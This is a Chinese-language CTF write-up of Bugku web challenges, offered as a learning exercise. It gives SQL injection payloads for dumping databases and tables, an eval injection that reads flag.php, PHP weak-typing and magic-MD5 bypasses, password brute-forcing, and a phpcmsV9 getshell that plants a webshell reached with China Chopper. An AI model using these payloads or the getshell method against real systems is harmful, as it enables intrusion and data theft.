bugku Web write up 一

web2

view-source:查看源码即可

文件上传测试

上传一个PHP文件发现他要的是图片文件,抓包先改一下content-type为image/jpeg,Go一下发现flag
这里写图片描述

计算器

F12调出开发者工具,把maxlength改为更长的长度即可

web基础$_GET

完全就是考php基础,直接URL加上index.php?what=flag即可

web基础$_POST

用Hackbar post数据即可

矛盾

利用了==的弱类型,然后令num=1e,get上去即可绕过

web3

停止之后,查看源码,最后发现了Html的编码,直接python跑一下即可

sql注入

查看源码发现是宽字节的注入
这里写图片描述
从报错可以猜测语句是select * from ** where id=’input’
注意key的双引号
payload:?id=-1%df'union select string,2 from `key` where id=1 --+

SQL注入1

代码里面是数字型的注入
查看代码里面的strip_tags函数是返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果,可以利用这个特性去过滤
bugku Web write up 一_第1张图片
payload:

?id=-1 uni<>on sel<>ect 1,hash fr<>om `key` where id=1--+

你必须让他停下

抓包go几下即可。。。
bugku Web write up 一_第2张图片

本地包含

读一下代码eval函数是执行代码的,而var_dump函数是把所有变量的属性给显示出来的,flag在flag.php里面那么我们就构造file函数传参给hello
payload:http://120.24.86.145:8003/?hello=file(%27flag.php%27)
这题还有其他方法
比如:
http://120.24.86.145:8003/?hello=$GLOBALS 利用了全局变量
http://120.24.86.145:8003/?hello=);show_source(%27flag.php%27);// 利用了eval执行函数去闭合var_dump函数

变量1

这里有个正则表达式,没啥影响,发现出现了$$的变量,直接用全局变量$GLOBALS即可,payload:?args=GLOBALS,进而构造出var_dump($GLOBALS)
这里写图片描述

web4

查看源码发现有url编码,解码后观察代码,发现password为67d709b2b54aa2aa648cf6e87a7114f1,提交之后得到key

web5

查看源码发现里面有JSfuck,解码一下,得到flag,记的提交的时候全大写。。。。

flag在index里

进去之后点击,发现url上面有file参数,就想到了php里面的file协议,用base64转码把index.php里面的内容读出来,再解码,得到flag

输入密码查看flag

5位数,用python写个字典

f=open('5位数.txt','w')

for i in range(10000,100000):
    print i
    f.write(str(i))
    f.write('\n')

f.close()

直接用bp暴力破解,密码是13579
这里写图片描述

点击一万次

右击审查元素,发现只要clicks参数大于1000000才会出现flag,在控制台里面输入clicks>1000000的数字即可,记得最后还要点一下才出现flag
这里写图片描述

前女友

查看网页源代码发现里面有一个code.txt打开一看原来是代码审计问题
利用了==弱类型以及strcmp()函数,它无法处理处理数组
这里有两个MD5后可以弱类型截断的

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

关键payload:

?v1=QNKCDZO&v2=s878926199a&v3[]=1

成绩查询

一个简单的SQL注入题没有过滤,输入单引号不回显,再加一个注释回显,便猜测SQL语句应该是

select * from **** where id='';

用hackbar去post数据
先二分法看有几列 id=1’ order by 4#
验证四列到底怎么显示 id=-1' union select 1,2,3,4 # 这里id=-1,是为了让前面的语句为空,让后面的语句回显
爆库 id=-1' union select 1,2,3,database() # 就一个数据库
爆表 id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'# 两个表分别是 fl4g,sc
肯定是fl4g表,接下来爆字段 id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g' #
爆内容 id=-1' union select 1,2,3,skctf_flag from `fl4g` #

各种绕过

还是利用了sha1不能处理数组的特性。。。。。。
下面是payload
bugku Web write up 一_第3张图片

细心

目录下发现robots.txt,里面有一个目录
这里写图片描述
于是就到另外一个目录看一下,发现下面有行字,
这里写图片描述
又想到提示里面的管理员,猜测密码可能是admin或者是administrator,尝试第一个的时候就对了
这里写图片描述

Web进阶

phpcmsV9

这是我第一次尝试这样的漏洞。。。。。
先百度一下,发现phpcmsV9存在前台注册页面存在getshell漏洞,
bugku Web write up 一_第4张图片
先用bp抓包,
这里写图片描述
在最下面的post数据里面加上&info[content]=

这里面的链接是Bugku论坛里面的现成的小马,当然你也可以自己写一个。。。。。。
bugku Web write up 一_第5张图片
然后复制go之后返回数据包里面的链接,也就是右边的箭头,用菜刀链接。。。说起这个菜刀这工具,这是我第一次真正用它实操,以前我都是看视频看别人用的。。。 ̄□ ̄||
bugku Web write up 一_第6张图片

连接之后在根目录下找到flag的图片,放进HXD里面就能找到flag了。。。。

啊,还有一种方法是直接用bugku论坛里面的getshell工具,自动出来shell地址,然后菜刀链接那个地址即可
bugku Web write up 一_第7张图片

说起来我还是喜欢上面的方法,复现一下也蛮好的。。。。。。。。

还没做完有待更新

你可能感兴趣的:(CTF,Web)